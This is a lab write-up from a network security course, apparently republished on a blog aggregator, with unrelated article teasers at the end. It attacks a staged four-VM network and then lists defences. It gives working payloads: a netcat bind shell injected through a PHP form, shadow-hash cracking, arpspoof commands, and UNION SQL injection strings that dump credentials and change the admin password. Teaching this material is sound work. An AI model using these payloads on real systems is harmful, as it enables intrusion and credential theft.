网络安全创新实验

ops/2024/12/19 8:38:17/

一、网络拓扑设计

image

二、网络主机概况

本实验一共包含4台虚拟机,分别为攻击机attacker,网关gateway,内网普通用户主机pc,内网服务器server,四台主机的详细信息如下表所示:

名称操作系统IP地址网络模式作用
攻击机Ubuntu20.0410.0.2.5NAT网络攻击者操作的机器
网关Ubuntu20.0410.0.2.15/192.168.1.1NAT网络/内部网络公司的网关,同时运行了对外的网页服务
内网用户主机PCUbuntu20.04192.168.1.2内部网络内网一名用户的主机
内网服务器serverUbuntu20.04192.168.1.101内部网络内网数据库服务器

4台网络主机的网络说明:

  1. 攻击机attacker在外网环境中,有一张网卡,其网络模式为NAT网络,IP 地址为10.0.2.15;

  2. 网关gateway在内外网的边界,有两张网卡,网卡1为NAT网络,IP地址为10.0.2.17,用于接入外部网络;网卡2的网络模式为内部网络,IP 地址为192.168.1.1,为公司内部网络的网关;

  3. 内网用户主机pc在公司内网,有一张网卡,其网络模式为内部网络,IP 地址为 192.168.1.2;

  4. 内网服务器server在公司内网,IP地址为192.168.1.101,有一张网卡,其网络模式为内部网络。

实验设计时,假设内网数据库服务器存有公司机密数据,并对内网提供HTTP网站服务来管理该数据库,攻击者的最终目的是获取该网站的管理员用户密码

三、主机部署过程

3.1 网关机gateway

网关服务器向外部网络提供数字证书签发服务,以网站形式提供,需要配置apache、php环境。

$ cd ~/web
$ sudo cp -r certificate/ /var/www/// 修改Apache2网站配置:$ cd /etc/apache2/sites-available/
$ sudo gedit 000-default.conf// 在最后添加<VirtualHost *:80>ServerName http://www.cert.comDocumentRoot /var/www/certificate</VirtualHost>$ sudo service apache2 restart

在网关服务器上安装netcat-traditional:

$ sudo apt-get install netcat-traditional

备份shadow文件为shadow.backup,然后赋予755权限

$ sudo cp /etc/shadow shadow.backup$ sudo chmod 755 shadow.backup

3.2 攻击者主机

攻击机需要配置hosts文件以访问网关服务器提供的网页

在攻击者主机上:$ sudo gedit /etc/hosts// 添加10.0.2.15 [www.cert.com](http://www.cert.com)

打开浏览器输入http://www.cert.com/certificate.php进行访问,如果成功访问则配置成功。

image

3.3 内网用户主机

要让内网用户主机能够访问内网数据库服务器提供的数据库网页,同样需要修改hosts文件。

$ sudo gedit /etc/hosts// 添加192.168.1.101 www.server.com

3.4 内网服务器

安装Elgg

在服务器上(服务器已部署了elgg数据库)://将附件中server.zip进行解压后进入该文件夹$ unzip server.zip$ sudo cp -r server/ /var/www///修改 Apache2 网站配置$ sudo gedit /etc/apache2/ports.conf// 增加监听端口8080Listen 8080$ cd /etc/apache2/sites-available/$ sudo touch server.conf$ sudo gedit server.conf// 在最后添加<VirtualHost *:8080>ServerName http://www.server.comDocumentRoot /var/www/server</VirtualHost>$ sudo service apache2 restart//导入网站所需数据库:$ cd ~/server/// 进入 mysql$ sudo mysql -u root// 进入名为 elgg 的数据库mysql> use elgg;// 导入数据库文件;mysql> source SQLi.sql;// 退出 mysql 终端mysql> exit;

四、存在漏洞分析

4.1 命令行注入漏洞

  • 攻击者访问部署在gateway上的http://www.cert.com/certificate.php,在证书签发服务中,需要用户提供姓名、邮箱、手机号码等信息,在该网页的php代码中,直接将用户输入内容作为参数输入命令行执行,因此存在cmd注入漏洞。

4.2 口令破解漏洞

  • 在gateway上,存在有shadow文件的备份shadow.backup,且该备份文件的权限较低,非root用户也可读,因此攻击者可以利用此文件破解出gateway的root密码,登陆其root账户进行进一步攻击。

4.3 网络扫描

  • 查看网关服务器的网络信息后,可以对公司内网进行nmap扫描,从而发现公司内部存活主机以及每台主机开放的端口,根据端口信息判断其开放的服务

4.4 网络欺骗漏洞

  • 在拿到网关服务器(gateway)的root权限后,通过arp欺骗欺骗内网服务器,使其关于内网普通用户主机的arp缓存信息的mac地址欺骗为网关服务器机IP,网关服务器作为中间人可以截取双方的通信信息,从而获取内网服务器的域名、内网用户的密码等相关信息。

4.5 SQL注入漏洞

  • 网关服务器访问内网服务器,通过简单的注入判断发现服务器存在SQL注入漏洞,通过构造相应的SQL注入语句从数据库读取敏感数据、并且拿到数据库服务器的管理员账号,获得操作数据库的完整权限,从而完成整个攻击。

五、网络攻击实现

  • 整体攻击流程如下图所示。

    image

5.1 攻击网关服务器

在攻击机上浏览网关服务器提供的网页,通过cmdi攻击,在“手机“一栏注入的命令为

nc -l -p 10086 -e /bin/bash

image

然后在攻击机上通过nc连接gateway的10086端口即可访问其bash:

image

在当前文件夹下,发现了一个shadow.backup文件,查看其内容,获取root账户密码的哈希值。

image

然后攻击者使用john the ripper对其进行破解,获得密码:

image

为了方便下一步攻击,在拿到root权限以后,在gateway上打开ssh服务并设置ssh密码登录与访问GUI(这里是为了后续在gateway上使用wireshark抓包)。

// 在gateway上$ sudo vi /etc/ssh/sshd_config// 取消`X11Forwarding yes`的注释// 在服务器端,添加一个~/.Xauthority文件// 添加如下内容# only this one key is needed for X11 over SSH xauth generate :0 . trusted # generate our own key, xauth requires 128 bit hex encoding
xauth add ${HOST}:0 . $(xxd -l 16 -p /dev/urandom)# To view a listing of the .Xauthority file, enter the following xauth list// 在攻击机上
$ sudo vi /etc/ssh/sshd_config// 取消注释`AllowAgentForwarding yes, X11Forwarding yes`两项$ ssh -X root@10.0.2.15

5.2 内网嗅探

  • 在网关服务器上查看其网卡信息,可以知道其内网ip地址为192.168.1.1,于是对内网网段192.168.1.0/24使用nmap -Pn扫描,检测内网拓扑情况。

    image

  • nmap扫描结果如下:

    image

成功扫描到了内网主机192.168.1.2与内网数据库服务器192.168.1.101,且看到在内网数据库服务器上运行了http服务。

5.3 ARP欺骗

为了登陆部署在内网服务器上的http网站,在gateway上安装dsniff,对内网用户机进行ARP欺骗,伪装自己是内网服务器。

  • 安装dsniff:

$ sudo apt install dsniff

  • 打开内核转发:
$ sudo gedit /etc/sysctl.conf// 修改net.ipv4.ip_forward = 1$ sudo sysctl -p
  • 进行arp欺骗攻击:

$ sudo arpspoof -i enp0s8 -t 192.168.1.2 192.168.1.101

image

  • 然后在wireshark中抓包,截获了内网用户机登陆了/unsafe/home.php这一网站。

    image

5.4 SQL注入

  • 首先在gateway上打开ssh-tunnel,使攻击机能够访问内网服务器提供的网页:

$ ssh -Nf -L 10090:192.168.1.101:8080 <root@10.0.2.15>

image

  • 然后开始SQL注入攻击:

    • 首先判断注入类型,分别尝试PC,PC\,PC’ #发现注入类型为’ #
       

      image

      image

    • 使用order by子句二分法判断返回结果的字段个数,最终尝试出为11个字段
       

      image

      image

    • 然后输入1' union select 1,2,3,4,5,6,7,8,9,10,11#来显示报错位:

      image

    • 使用1' union select 1,2,database(),4,5,6,7,8,9,10,11#查找当前库名:

      image

      结果为elgg

    • 得到库名以后查找当前数据库中的表
      1' union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database() #

      image

    • 查询表credential中的字段
      1' union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11 from information_schema.columns where table_schema=database() and table_name='credential' #

      image

    • 查找数据,得到管理员账户的名字为Admin

1' union select 1,2,3,4,5,6,group_concat(Name),group_concat(Password),9,10,11 from credential #

image

  • 得到管理员账户的名字以后,通过SQL注入登陆PC账号在简介处注入恶意代码修改管理员账号的密码为AttackSuccessfully!。
    ',Password='7643fc2cee2b2c27d8fb45a4df23715b76f3b83b' where name = 'Admin'#

    image

  • 修改完成后,使用此密码成功登陆管理员账号,攻击成功

    image

六、防御措施总结

6.1 cmd注入攻击的防御措施

  • 对对应的输入框加入长度限制,让用户难以输入复杂的命令。
<div class="form"><form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post"><h1>请求数字证书</h1><div class="txtb"><label for="">姓名:</label><input type="text" placeholder="请输入姓名" name="name" maxlength="20"></div><div class="txtb"><label for="">邮箱:</label><input type="email" placeholder="请输入邮箱" name="email_addr" maxlength="20"></div><div class="txtb"><label for="">手机:</label><input type="text" placeholder="请输入手机号码" name="phone_num" maxlength="11"></div><input type="submit" value="提交请求"/></form></div>
  • 对对应输入加入特殊符号的检查,将;,&,$等符号替换掉,防止用户进行cmd注入。
// 设置替换字符$substitutions = array(`'&'  => '',`';'  => '',`'|' => '',`'-'  => '',`'$'  => '',`'('  => '',`')'  => '',`'`'  => '',`'||' => '',);// 替换上述字符$target = str_replace( array_keys( $substitutions ), $substitutions, $target);

6.2 口令破解攻击的防御措施

  1. 不要泄露shadow文件,即使需要对其备份,也应该将其设置为仅root用户可读。

  2. 设置强度较高的复杂密码,不要使用容易出现在字典中的常用密码,防止被爆破。

6.3 网络扫描攻击的防御措施

在主机上配置防火墙,设置对icmp echo request等包进行拦截:

$ sudo iptables -A FORWARD -p icmp --icmp-type echo-reply -j REJECT

6.4 ARP欺骗的防御措施

  • 针对ARP欺骗可以采用如下防御措施:

    1. 采用MAC地址的静态绑定,让内网中的每台主机都有固定的IP和MAC地址,不容易被修改。

    2. 手动更新ARP缓存中的记录,防止ARP欺骗包篡改ARP映射表。

    3. 使用ARP防护软件,如ARP防火墙,及时拦截和过滤ARP欺骗包。

    4. 通过流量嗅探的方式,及时发现并隔离正在进行ARP欺骗的主机。

  • 本实验中采用MAC地址的静态绑定来防止ARP欺骗攻击:

$ sudo  arp -s 192.168.1.101 08:00:27:AE:09:E9$ sudo  arp -s 192.168.1.2 08:00:27:57:4C:94

6.5 SQL注入攻击的防御措施

  • 产生注入的根源是代码中直接使用了用户输入的数据来拼接SQL语句,没有进行有效的过滤或转义
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address,email,nickname,Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' WHERE ID=$id;";
  • 采用预编译的方式进行处理,将SQL语句的解析和执行过程分开,只在执行的过程中代入用户的数据:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");$sql->bind_param("ss", $input_uname, $hashed_pwd);$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);

七、课程设计总结

  • 本实验使用了四台虚拟机,分别对应模拟现实中的:攻击机、企业对外提供服务的网关主机、企业内部人员使用的普通主机、企业存放重要数据的服务器。

  • 利用构造的各类漏洞,分别实现了cmd注入攻击、口令破解攻击、网络扫描攻击、ARP欺骗攻击和SQL注入攻击五种方式。

  • 具体的攻击流程:

    • 黑客访问公司外部网站,利用cmd注入攻击在gateway上用netcat运行bash,并在攻击机上连接。
    • 然后在gateway上找到并获取了非root用户可读的shadow.backup文件,对其破解获取到了gateway机器root用户的密码。
    • 获取其root密码以后,使用nmap进行网络嗅探,对内网的另外两台主机进行发现。
    • 发现配置有HTTP服务的内网服务器以后,在gateway上伪装成其向用户机器发起欺骗,从而截获内网用户发出的HTTP数据包,获取其访问的网址、账号密码。
    • 最后发现该网站存在SQL注入漏洞,对其进行SQL注入修改管理员账号的密码,成功登入管理员账号。

http://www.ppmy.cn/ops/143138.html

相关文章

Unity UI Button 事件优先级调整技术方案

Unity UI Button 事件优先级调整技术方案 在 Unity 项目开发过程中&#xff0c;针对 UI Button 的事件执行顺序控制是一个常见需求。本文详细阐述两种将新添加事件置于第一个执行位置的方法&#xff0c;旨在为开发者提供全面且专业的技术参考。 一、基于反射机制的事件插入方…

游戏引擎学习第49天

仓库: https://gitee.com/mrxiao_com/2d_game 回顾 我们当时在讨论我们必须要进行一些改进&#xff0c;以便在游戏中实现更好的碰撞检测。当时展示了一种非常基本的形式&#xff0c;以十字路口为例来实现碰撞交叉工作。然后我们意识到需要升级到更复杂的水平&#xff0c;以便…

shell编程——AWK 从入门到精通

1. 前言 在日常运维、数据分析和开发工作中&#xff0c;处理文本数据是不可避免的任务。无论是从日志中提取关键信息&#xff0c;还是批量处理数据表&#xff0c;效率和灵活性都至关重要。AWK 是 UNIX/Linux 环境中一款轻量级却功能强大的文本处理工具&#xff0c;它以简洁的语…

oracle client linux服务器安装教程

p13390677_112040_Linux-x86-64_4of7.zip 安装前&#xff0c;确认/etc/hosts文件已配置正确 cat /etc/hosts 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 10.2…

Vue.js前端框架教程4:Vue响应式变量和指令(Directives)

文章目录 Vue 2.x 中的响应式变量Vue 3.x 中的响应式变量 指令&#xff08;Directives&#xff09;v-modelv-onclick 其他常用指令 在 Vue 中&#xff0c;响应式变量是与 Vue 实例的数据绑定系统紧密相关的。它们允许你创建数据和 DOM 之间的双向绑定&#xff0c;这意味着当响应…

elementui进度条Progress组件

一、Progress组件 二、各部分代码 1.html代码 <div><div class"showprogress" v-for"item in regions" :key"item.name"><span>{{ item.name }}</span><el-progress :percentage"percentage(item.count, total…

软件工程复习重点(第一章 软件工程概述)

1.什么是软件&#xff1f;软件有什么特点&#xff1f; 软件分类&#xff1f; 计算机软件--计算机系统中的程序、数据及其文档的统称。 2.软件发展的3个阶段 &#xff08;1&#xff09;程序设计阶段&#xff1b;&#xff08;2&#xff09;程序系统阶段&#xff1b;&#xff08…

简单的go写的websocket协议 im 聊天 服务,流程简单清晰,采用golang编写,flutter im客户端。免费开源哈,随意用

mini-im 1、说明&#xff1a; 项目地址&#xff1a;https://github.com/haomiao33/minim 1.1、项目介绍&#xff1a; 简单的go写的im服务&#xff0c;流程简单清晰,大部分接口使用的是http&#xff0c;方便流程控制。login服务目前只是用来做服务端推送消息通知到客户端。本…